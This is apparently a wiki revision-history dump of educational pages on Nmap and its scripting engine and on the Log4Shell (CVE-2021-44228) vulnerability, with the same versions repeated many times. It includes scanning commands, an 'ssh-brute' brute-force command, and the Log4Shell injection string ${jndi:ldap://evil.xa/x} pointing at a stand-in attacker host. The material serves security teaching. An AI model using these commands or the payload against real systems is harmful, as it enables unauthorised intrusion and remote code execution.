• Vulnerability detection: One of the most popular NSE scripts is "vulners", which can be used to detect known vulnerabilities in a host or service. This script uses a vulnerability database to check for known vulnerabilities and can be run with the command "nmap --script vulners [target]"

• Information gathering: The "http-title" script can be used to gather the title of a website. The script sends an HTTP request to the target and parses the response to extract the title. This script can be run with the command "nmap --script http-title [target]"

• Brute-forcing: The "ssh-brute" script can be used to perform a brute-force attack on an SSH service. The script tries to log in to the SSH service using a list of username and password combinations. This script can be run with the command "nmap --script ssh-brute [target]".

• Script for specific service: The "smb-enum-shares" script will enumerate the shared resources on the SMB service. This script can be run with the command "nmap --script smb-enum-shares [target]".

• Script for specific operating system: The "smb-os-discovery" script can be used to determine the operating system of a Windows host. This script can be run with the command "nmap --script smb-os-discovery [target]".

Example of usage of vulners script:

[[Nmap_script_vulners.png]]

== Used Hardware ==

== Courses ==

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

File:Nmap script vulners.png

2023-01-27T17:59:39Z

DCiklusic:

Nmap

2023-01-27T17:59:24Z

DCiklusic: /* Nmap Script Engine */

== Summary ==

Nmap (Network Mapper) is a free and open-source tool for network discovery and security auditing. Nmap can be used to identify hosts and services on a computer network, thus creating a “map” of the network. It can also be used to detect open ports and services, operating systems, and even live hosts on a network.

== Description ==

Nmap uses various techniques such as IP address sweep, TCP and UDP port scans, and other methods to identify hosts and services on a network. It can also be used to detect firewalls, intrusion detection systems, and other security features. Nmap is also useful for troubleshooting network issues, as it can help identify misconfigured devices or other problems.

Nmap can be run on various operating systems, including Windows, Linux, and MacOS. It also offers a command line interface, a graphical user interface, and can be integrated into other tools and scripts.

In addition to the features mentioned above, Nmap also offers various advanced features such as:

• OS detection: Nmap can detect the operating system of a host by sending specific packets and analyzing the responses.
• Version detection: Nmap can detect the version of the services running on a host.
• Scripting Engine (NSE): NSE allows users to write and execute scripts to automate tasks and gather additional information about hosts and services on a network.
• Output formats: Nmap can output the results of a scan in various formats such as XML or plain text.
• Performance optimization: Nmap offers various options to optimize the speed and efficiency of a scan.

Nmap can be run on a single host, a range of IP addresses, or even a list of IP addresses. It can also be used to scan for hosts on a specific subnet.

Example of nmap output on a specific host:

[[File:Nmap_output_on_specific_host.png]]

== Nmap Script Engine ==

The Nmap Scripting Engine (NSE) is a powerful feature of Nmap that allows users to write scripts in Lua to automate tasks and gather additional information about hosts and services on a network. These scripts can be used to perform a wide range of tasks such as:

• Vulnerability detection: NSE scripts can be used to detect known vulnerabilities in a host or service.

• Information gathering: NSE scripts can gather additional information about a host or service, such as the type of web server running or the version of the operating system.

• Brute-forcing: NSE scripts can be used to perform brute-force attacks on services such as SSH or Telnet.

NSE scripts can be run individually or in combination with other scripts. Nmap ships with a large number of built-in scripts that can be used for various tasks. Additionally, the Nmap community has written and shared many more scripts that can be downloaded and used.

Using NSE scripts can greatly enhance the functionality of Nmap and allow for more detailed and efficient network scans.

Here are a few examples of how NSE can be used:

• Vulnerability detection: One of the most popular NSE scripts is "vulners", which can be used to detect known vulnerabilities in a host or service. This script uses a vulnerability database to check for known vulnerabilities and can be run with the command "nmap --script vulners [target]"

• Information gathering: The "http-title" script can be used to gather the title of a website. The script sends an HTTP request to the target and parses the response to extract the title. This script can be run with the command "nmap --script http-title [target]"

• Brute-forcing: The "ssh-brute" script can be used to perform a brute-force attack on an SSH service. The script tries to log in to the SSH service using a list of username and password combinations. This script can be run with the command "nmap --script ssh-brute [target]".

• Script for specific service: The "smb-enum-shares" script will enumerate the shared resources on the SMB service. This script can be run with the command "nmap --script smb-enum-shares [target]".

• Script for specific operating system: The "smb-os-discovery" script can be used to determine the operating system of a Windows host. This script can be run with the command "nmap --script smb-os-discovery [target]".

Example of usage of vulners script:

== Used Hardware ==

== Courses ==

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Nmap

2023-01-27T17:56:46Z

DCiklusic: /* Description */

== Summary ==

Nmap (Network Mapper) is a free and open-source tool for network discovery and security auditing. Nmap can be used to identify hosts and services on a computer network, thus creating a “map” of the network. It can also be used to detect open ports and services, operating systems, and even live hosts on a network.

== Description ==

Nmap uses various techniques such as IP address sweep, TCP and UDP port scans, and other methods to identify hosts and services on a network. It can also be used to detect firewalls, intrusion detection systems, and other security features. Nmap is also useful for troubleshooting network issues, as it can help identify misconfigured devices or other problems.

Nmap can be run on various operating systems, including Windows, Linux, and MacOS. It also offers a command line interface, a graphical user interface, and can be integrated into other tools and scripts.

In addition to the features mentioned above, Nmap also offers various advanced features such as:

• OS detection: Nmap can detect the operating system of a host by sending specific packets and analyzing the responses.
• Version detection: Nmap can detect the version of the services running on a host.
• Scripting Engine (NSE): NSE allows users to write and execute scripts to automate tasks and gather additional information about hosts and services on a network.
• Output formats: Nmap can output the results of a scan in various formats such as XML or plain text.
• Performance optimization: Nmap offers various options to optimize the speed and efficiency of a scan.

Nmap can be run on a single host, a range of IP addresses, or even a list of IP addresses. It can also be used to scan for hosts on a specific subnet.

Example of nmap output on a specific host:

[[File:Nmap_output_on_specific_host.png]]

== Nmap Script Engine ==

The Nmap Scripting Engine (NSE) is a powerful feature of Nmap that allows users to write scripts in Lua to automate tasks and gather additional information about hosts and services on a network. These scripts can be used to perform a wide range of tasks such as:

• Vulnerability detection: NSE scripts can be used to detect known vulnerabilities in a host or service.

• Information gathering: NSE scripts can gather additional information about a host or service, such as the type of web server running or the version of the operating system.

• Brute-forcing: NSE scripts can be used to perform brute-force attacks on services such as SSH or Telnet.

NSE scripts can be run individually or in combination with other scripts. Nmap ships with a large number of built-in scripts that can be used for various tasks. Additionally, the Nmap community has written and shared many more scripts that can be downloaded and used.

Using NSE scripts can greatly enhance the functionality of Nmap and allow for more detailed and efficient network scans.

Here are a few examples of how NSE can be used:

• Vulnerability detection: One of the most popular NSE scripts is "vulners", which can be used to detect known vulnerabilities in a host or service. This script uses a vulnerability database to check for known vulnerabilities and can be run with the command "nmap --script vulners [target]"

• Information gathering: The "http-title" script can be used to gather the title of a website. The script sends an HTTP request to the target and parses the response to extract the title. This script can be run with the command "nmap --script http-title [target]"

• Brute-forcing: The "ssh-brute" script can be used to perform a brute-force attack on an SSH service. The script tries to log in to the SSH service using a list of username and password combinations. This script can be run with the command "nmap --script ssh-brute [target]".

• Script for specific service: The "smb-enum-shares" script will enumerate the shared resources on the SMB service. This script can be run with the command "nmap --script smb-enum-shares [target]".

• Script for specific operating system: The "smb-os-discovery" script can be used to determine the operating system of a Windows host. This script can be run with the command "nmap --script smb-os-discovery [target]".

== Used Hardware ==

== Courses ==

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Nmap

2023-01-27T17:56:16Z

DCiklusic: /* Description */

== Summary ==

Nmap (Network Mapper) is a free and open-source tool for network discovery and security auditing. Nmap can be used to identify hosts and services on a computer network, thus creating a “map” of the network. It can also be used to detect open ports and services, operating systems, and even live hosts on a network.

== Description ==

Nmap uses various techniques such as IP address sweep, TCP and UDP port scans, and other methods to identify hosts and services on a network. It can also be used to detect firewalls, intrusion detection systems, and other security features. Nmap is also useful for troubleshooting network issues, as it can help identify misconfigured devices or other problems.

Nmap can be run on various operating systems, including Windows, Linux, and MacOS. It also offers a command line interface, a graphical user interface, and can be integrated into other tools and scripts.

In addition to the features mentioned above, Nmap also offers various advanced features such as:

• OS detection: Nmap can detect the operating system of a host by sending specific packets and analyzing the responses.
• Version detection: Nmap can detect the version of the services running on a host.
• Scripting Engine (NSE): NSE allows users to write and execute scripts to automate tasks and gather additional information about hosts and services on a network.
• Output formats: Nmap can output the results of a scan in various formats such as XML or plain text.
• Performance optimization: Nmap offers various options to optimize the speed and efficiency of a scan.

Nmap can be run on a single host, a range of IP addresses, or even a list of IP addresses. It can also be used to scan for hosts on a specific subnet.

Example of nmap output on a specific host:

[[File:Nmap output on a specific host.png]]

== Nmap Script Engine ==

The Nmap Scripting Engine (NSE) is a powerful feature of Nmap that allows users to write scripts in Lua to automate tasks and gather additional information about hosts and services on a network. These scripts can be used to perform a wide range of tasks such as:

• Vulnerability detection: NSE scripts can be used to detect known vulnerabilities in a host or service.

• Information gathering: NSE scripts can gather additional information about a host or service, such as the type of web server running or the version of the operating system.

• Brute-forcing: NSE scripts can be used to perform brute-force attacks on services such as SSH or Telnet.

NSE scripts can be run individually or in combination with other scripts. Nmap ships with a large number of built-in scripts that can be used for various tasks. Additionally, the Nmap community has written and shared many more scripts that can be downloaded and used.

Using NSE scripts can greatly enhance the functionality of Nmap and allow for more detailed and efficient network scans.

Here are a few examples of how NSE can be used:

• Vulnerability detection: One of the most popular NSE scripts is "vulners", which can be used to detect known vulnerabilities in a host or service. This script uses a vulnerability database to check for known vulnerabilities and can be run with the command "nmap --script vulners [target]"

• Information gathering: The "http-title" script can be used to gather the title of a website. The script sends an HTTP request to the target and parses the response to extract the title. This script can be run with the command "nmap --script http-title [target]"

• Brute-forcing: The "ssh-brute" script can be used to perform a brute-force attack on an SSH service. The script tries to log in to the SSH service using a list of username and password combinations. This script can be run with the command "nmap --script ssh-brute [target]".

• Script for specific service: The "smb-enum-shares" script will enumerate the shared resources on the SMB service. This script can be run with the command "nmap --script smb-enum-shares [target]".

• Script for specific operating system: The "smb-os-discovery" script can be used to determine the operating system of a Windows host. This script can be run with the command "nmap --script smb-os-discovery [target]".

== Used Hardware ==

== Courses ==

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

File:Nmap output on specific host.png

2023-01-27T17:55:42Z

DCiklusic:

Nmap

2023-01-27T17:53:49Z

DCiklusic: /* Nmap Script Engine */

== Summary ==

Nmap (Network Mapper) is a free and open-source tool for network discovery and security auditing. Nmap can be used to identify hosts and services on a computer network, thus creating a “map” of the network. It can also be used to detect open ports and services, operating systems, and even live hosts on a network.

== Description ==

Nmap uses various techniques such as IP address sweep, TCP and UDP port scans, and other methods to identify hosts and services on a network. It can also be used to detect firewalls, intrusion detection systems, and other security features. Nmap is also useful for troubleshooting network issues, as it can help identify misconfigured devices or other problems.

Nmap can be run on various operating systems, including Windows, Linux, and MacOS. It also offers a command line interface, a graphical user interface, and can be integrated into other tools and scripts.

In addition to the features mentioned above, Nmap also offers various advanced features such as:

• OS detection: Nmap can detect the operating system of a host by sending specific packets and analyzing the responses.
• Version detection: Nmap can detect the version of the services running on a host.
• Scripting Engine (NSE): NSE allows users to write and execute scripts to automate tasks and gather additional information about hosts and services on a network.
• Output formats: Nmap can output the results of a scan in various formats such as XML or plain text.
• Performance optimization: Nmap offers various options to optimize the speed and efficiency of a scan.

Nmap can be run on a single host, a range of IP addresses, or even a list of IP addresses. It can also be used to scan for hosts on a specific subnet.

Example of nmap output on a specific host:

== Nmap Script Engine ==

The Nmap Scripting Engine (NSE) is a powerful feature of Nmap that allows users to write scripts in Lua to automate tasks and gather additional information about hosts and services on a network. These scripts can be used to perform a wide range of tasks such as:

• Vulnerability detection: NSE scripts can be used to detect known vulnerabilities in a host or service.

• Information gathering: NSE scripts can gather additional information about a host or service, such as the type of web server running or the version of the operating system.

• Brute-forcing: NSE scripts can be used to perform brute-force attacks on services such as SSH or Telnet.

NSE scripts can be run individually or in combination with other scripts. Nmap ships with a large number of built-in scripts that can be used for various tasks. Additionally, the Nmap community has written and shared many more scripts that can be downloaded and used.

Using NSE scripts can greatly enhance the functionality of Nmap and allow for more detailed and efficient network scans.

Here are a few examples of how NSE can be used:

• Vulnerability detection: One of the most popular NSE scripts is "vulners", which can be used to detect known vulnerabilities in a host or service. This script uses a vulnerability database to check for known vulnerabilities and can be run with the command "nmap --script vulners [target]"

• Information gathering: The "http-title" script can be used to gather the title of a website. The script sends an HTTP request to the target and parses the response to extract the title. This script can be run with the command "nmap --script http-title [target]"

• Brute-forcing: The "ssh-brute" script can be used to perform a brute-force attack on an SSH service. The script tries to log in to the SSH service using a list of username and password combinations. This script can be run with the command "nmap --script ssh-brute [target]".

• Script for specific service: The "smb-enum-shares" script will enumerate the shared resources on the SMB service. This script can be run with the command "nmap --script smb-enum-shares [target]".

• Script for specific operating system: The "smb-os-discovery" script can be used to determine the operating system of a Windows host. This script can be run with the command "nmap --script smb-os-discovery [target]".

== Used Hardware ==

== Courses ==

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Nmap

2023-01-27T17:52:11Z

DCiklusic: /* Nmap Script Engine */

== Summary ==

Nmap (Network Mapper) is a free and open-source tool for network discovery and security auditing. Nmap can be used to identify hosts and services on a computer network, thus creating a “map” of the network. It can also be used to detect open ports and services, operating systems, and even live hosts on a network.

== Description ==

Nmap uses various techniques such as IP address sweep, TCP and UDP port scans, and other methods to identify hosts and services on a network. It can also be used to detect firewalls, intrusion detection systems, and other security features. Nmap is also useful for troubleshooting network issues, as it can help identify misconfigured devices or other problems.

Nmap can be run on various operating systems, including Windows, Linux, and MacOS. It also offers a command line interface, a graphical user interface, and can be integrated into other tools and scripts.

In addition to the features mentioned above, Nmap also offers various advanced features such as:

• OS detection: Nmap can detect the operating system of a host by sending specific packets and analyzing the responses.
• Version detection: Nmap can detect the version of the services running on a host.
• Scripting Engine (NSE): NSE allows users to write and execute scripts to automate tasks and gather additional information about hosts and services on a network.
• Output formats: Nmap can output the results of a scan in various formats such as XML or plain text.
• Performance optimization: Nmap offers various options to optimize the speed and efficiency of a scan.

Nmap can be run on a single host, a range of IP addresses, or even a list of IP addresses. It can also be used to scan for hosts on a specific subnet.

Example of nmap output on a specific host:

== Nmap Script Engine ==

The Nmap Scripting Engine (NSE) is a powerful feature of Nmap that allows users to write scripts in Lua to automate tasks and gather additional information about hosts and services on a network. These scripts can be used to perform a wide range of tasks such as:

• Vulnerability detection: NSE scripts can be used to detect known vulnerabilities in a host or service.

• Information gathering: NSE scripts can gather additional information about a host or service, such as the type of web server running or the version of the operating system.

• Brute-forcing: NSE scripts can be used to perform brute-force attacks on services such as SSH or Telnet.

NSE scripts can be run individually or in combination with other scripts. Nmap ships with a large number of built-in scripts that can be used for various tasks. Additionally, the Nmap community has written and shared many more scripts that can be downloaded and used.

Using NSE scripts can greatly enhance the functionality of Nmap and allow for more detailed and efficient network scans.

Here are a few examples of how NSE can be used:

• Vulnerability detection: One of the most popular NSE scripts is "vulners", which can be used to detect known vulnerabilities in a host or service. This script uses a vulnerability database to check for known vulnerabilities and can be run with the command "nmap --script vulners [target]".

== Used Hardware ==

== Courses ==

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Nmap

2023-01-27T17:50:55Z

DCiklusic: /* Nmap Script Engine */

== Summary ==

Nmap (Network Mapper) is a free and open-source tool for network discovery and security auditing. Nmap can be used to identify hosts and services on a computer network, thus creating a “map” of the network. It can also be used to detect open ports and services, operating systems, and even live hosts on a network.

== Description ==

Nmap uses various techniques such as IP address sweep, TCP and UDP port scans, and other methods to identify hosts and services on a network. It can also be used to detect firewalls, intrusion detection systems, and other security features. Nmap is also useful for troubleshooting network issues, as it can help identify misconfigured devices or other problems.

Nmap can be run on various operating systems, including Windows, Linux, and MacOS. It also offers a command line interface, a graphical user interface, and can be integrated into other tools and scripts.

In addition to the features mentioned above, Nmap also offers various advanced features such as:

• OS detection: Nmap can detect the operating system of a host by sending specific packets and analyzing the responses.
• Version detection: Nmap can detect the version of the services running on a host.
• Scripting Engine (NSE): NSE allows users to write and execute scripts to automate tasks and gather additional information about hosts and services on a network.
• Output formats: Nmap can output the results of a scan in various formats such as XML or plain text.
• Performance optimization: Nmap offers various options to optimize the speed and efficiency of a scan.

Nmap can be run on a single host, a range of IP addresses, or even a list of IP addresses. It can also be used to scan for hosts on a specific subnet.

Example of nmap output on a specific host:

== Nmap Script Engine ==

The Nmap Scripting Engine (NSE) is a powerful feature of Nmap that allows users to write scripts in Lua to automate tasks and gather additional information about hosts and services on a network. These scripts can be used to perform a wide range of tasks such as:

• Vulnerability detection: NSE scripts can be used to detect known vulnerabilities in a host or service.

• Information gathering: NSE scripts can gather additional information about a host or service, such as the type of web server running or the version of the operating system.

• Brute-forcing: NSE scripts can be used to perform brute-force attacks on services such as SSH or Telnet.

NSE scripts can be run individually or in combination with other scripts. Nmap ships with a large number of built-in scripts that can be used for various tasks. Additionally, the Nmap community has written and shared many more scripts that can be downloaded and used.

Using NSE scripts can greatly enhance the functionality of Nmap and allow for more detailed and efficient network scans.

Here are a few examples of how NSE can be used:

• Vulnerability detection: One of the most popular NSE scripts is "vulners", which can be used to detect known vulnerabilities in a host or service. This script uses a vulnerability database to check for known vulnerabilities and can be run with the command "nmap --script vulners [target]".

Information gathering: The "http-title" script can be used to gather the title of a website. The script sends an HTTP request to the target and parses the response to extract the title. This script can be run with the command "nmap --script http-title [target]".

== Used Hardware ==

== Courses ==

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Nmap

2023-01-27T17:49:06Z

DCiklusic: /* Nmap Script Engine */

Nmap

2023-01-27T17:48:55Z

DCiklusic: /* • Brute-forcing: NSE scripts can be used to perform brute-force attacks on services such as SSH or Telnet. */

Nmap

2023-01-27T17:48:44Z

DCiklusic: /* • Information gathering: NSE scripts can gather additional information about a host or service, such as the type of web server running or the version of the operating system. */

Nmap

2023-01-27T17:48:35Z

DCiklusic: /* • Vulnerability detection: NSE scripts can be used to detect known vulnerabilities in a host or service. */

Nmap

2023-01-27T17:48:12Z

DCiklusic: /* Description */

Nmap

2023-01-27T17:48:05Z

DCiklusic: /* Description */

Nmap

2023-01-27T17:47:54Z

DCiklusic: /* Nmap Script Engine */

Nmap

2023-01-27T17:47:22Z

DCiklusic: Created page with "== Summary == Nmap (Network Mapper) is a free and open-source tool for network discovery and security auditing. Nmap can be used to identify hosts and services on a computer network, thus creating a “map” of the network. It can also be used to detect open ports and services, operating systems, and even live hosts on a network. == Description == Nmap uses various techniques such as IP address sweep, TCP and UDP port scans, and other methods to identify hosts and s..."

Log4j

2023-01-08T19:22:03Z

DCiklusic: /* References */

== Summary ==

Log4Shell is a software vulnerability in Apache Log4j2, a popular Java library for logging error messages in applications. It was considered a zero-day vulnerability because malicious actors likely knew about and exploited it before any experts had the chance. The vulnerability enables a remote attacker to gain control over a string and trick the application into requesting and executing malicious code under the attacker's control. As a result, attackers can remotely take over any internet-connected service that uses certain versions of the Log4j library anywhere in the software stack.

== Description ==
At the beginning of december 2021, a security vulnerability under the CVE-Number 2021-44228 was disclosed in the logging framework log4j developed for java. It was a zero day exploit which was undiscovered for 8 years. The exploit received a score of 10 out of 10 from the National Institute of Standards and Technology, the most points a vulnerability can receive. The Bundesamt für Informationssicherheit (BSI) also issued a red alert, because of the vulnerability. The affected versions of the vulnerability were all versions from 2.0 to 2.17.0. The exploit was closed with version 2.17.1.

About 40% of all Java applications that use log messages use Log4j directly, and about 60% use the framework the framework indirectly. Log4j contains a feature called lookup, with which it is possible to replace parts of the log message dynamically (at runtime). Log4j also supports JNDI the so called JavaNaming and Directory Interface, which is an API provided by Java for a kind of lookup service, with which data and code can be found dynamically at runtime via a name. Basically it concerns thereby the named resolution. JNDI is often used in Java in connection with LDAP. There lies also the problem, because the return value of the LDAP server contains a URL, which points to a Java class. When log4j receives this URL, it reloads this Java class via JNDI and executes the code contained in it. So a JNDI LDAP call into an input form, as long as it is logged with log4j, causes that arbitrary code will be executed.

== Execution ==

[[File:Log4j.jpg]]

An attacker sends a request, for example from a manipulated user agent, to a vulnerable server, e.g. the server victim.xa (1). This server then writes to its log: The user agent named ${jndi:ldap://evil.xa/x} tries to access the website (2). This leads that the vulnerable Log4j implementation on this server evaluates and executes exactly this string and executes it (3). Log4j then asks the LDAP server, via the JNDI Lookup protocol, whether there is anyone with the manipulated user agent. The LDAP server responds with directory information containing a malicious Java class (4). The malicious Java class is executed and thus the system is compromised (5).

== Types of attacks ==

What was specifically done with the exploit: bots were installed, so-called zombies. These zombies are often used for example to implement spam email waves or to send phishing emails. Sometimes also for Denial of Service attacks or Distributed Denial of Service attacks, because they had asked different botsystems at the same time to take out a target. There were enough cryptominer installed this way. Backdoors are also installed.

== References ==

* https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.pdf?__blob=publicationFile&v=10
* https://nvd.nist.gov/vuln/detail/CVE-2021-44228
* https://www.cisa.gov/sites/default/files/publications/CSRB-Report-on-Log4-July-11-2022_508.pdf
* https://snyk.io/blog/log4j-vulnerability-software-supply-chain-security-log4shell/#:~:text=About%20%E2%85%93%20of%20Snyk%20customers,imported%20or%20monitored%20by%20Snyk.
[[Category:Documentation]]

Log4j

2023-01-08T19:20:32Z

DCiklusic:

Log4j

2023-01-08T19:19:59Z

DCiklusic: /* Execution */

Log4j

2023-01-08T19:19:45Z

DCiklusic: Created page with "== Summary == Log4Shell is a software vulnerability in Apache Log4j2, a popular Java library for logging error messages in applications. It was considered a zero-day vulnerability because malicious actors likely knew about and exploited it before any experts had the chance. The vulnerability enables a remote attacker to gain control over a string and trick the application into requesting and executing malicious code under the attacker's control. As a result, attackers..."

== Summary ==

Log4Shell is a software vulnerability in Apache Log4j2, a popular Java library for logging error messages in applications. It was considered a zero-day vulnerability because malicious actors likely knew about and exploited it before any experts had the chance. The vulnerability enables a remote attacker to gain control over a string and trick the application into requesting and executing malicious code under the attacker's control. As a result, attackers can remotely take over any internet-connected service that uses certain versions of the Log4j library anywhere in the software stack.

== Description ==
At the beginning of december 2021, a security vulnerability under the CVE-Number 2021-44228 was disclosed in the logging framework log4j developed for java. It was a zero day exploit which was undiscovered for 8 years. The exploit received a score of 10 out of 10 from the National Institute of Standards and Technology, the most points a vulnerability can receive. The Bundesamt für Informationssicherheit (BSI) also issued a red alert, because of the vulnerability. The affected versions of the vulnerability were all versions from 2.0 to 2.17.0. The exploit was closed with version 2.17.1.

About 40% of all Java applications that use log messages use Log4j directly, and about 60% use the framework the framework indirectly. Log4j contains a feature called lookup, with which it is possible to replace parts of the log message dynamically (at runtime). Log4j also supports JNDI the so called JavaNaming and Directory Interface, which is an API provided by Java for a kind of lookup service, with which data and code can be found dynamically at runtime via a name. Basically it concerns thereby the named resolution. JNDI is often used in Java in connection with LDAP. There lies also the problem, because the return value of the LDAP server contains a URL, which points to a Java class. When log4j receives this URL, it reloads this Java class via JNDI and executes the code contained in it. So a JNDI LDAP call into an input form, as long as it is logged with log4j, causes that arbitrary code will be executed.

== Execution ==

[[File:Log4j.jpg]]
An attacker sends a request, for example from a manipulated user agent, to a vulnerable server, e.g. the server victim.xa (1). This server then writes to its log: The user agent named ${jndi:ldap://evil.xa/x} tries to access the website (2). This leads that the vulnerable Log4j implementation on this server evaluates and executes exactly this string and executes it (3). Log4j then asks the LDAP server, via the JNDI Lookup protocol, whether there is anyone with the manipulated user agent. The LDAP server responds with directory information containing a malicious Java class (4). The malicious Java class is executed and thus the system is compromised (5).

== Types of attacks ==

What was specifically done with the exploit: bots were installed, so-called zombies. These zombies are often used for example to implement spam email waves or to send phishing emails. Sometimes also for Denial of Service attacks or Distributed Denial of Service attacks, because they had asked different botsystems at the same time to take out a target. There were enough cryptominer installed this way. Backdoors are also installed.

== References ==

* https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.pdf?__blob=publicationFile&v=10
* https://nvd.nist.gov/vuln/detail/CVE-2021-44228
* https://www.cisa.gov/sites/default/files/publications/CSRB-Report-on-Log4-July-11-2022_508.pdf
[[Category:Documentation]]

File:Log4j.jpg

2023-01-08T19:12:45Z

DCiklusic: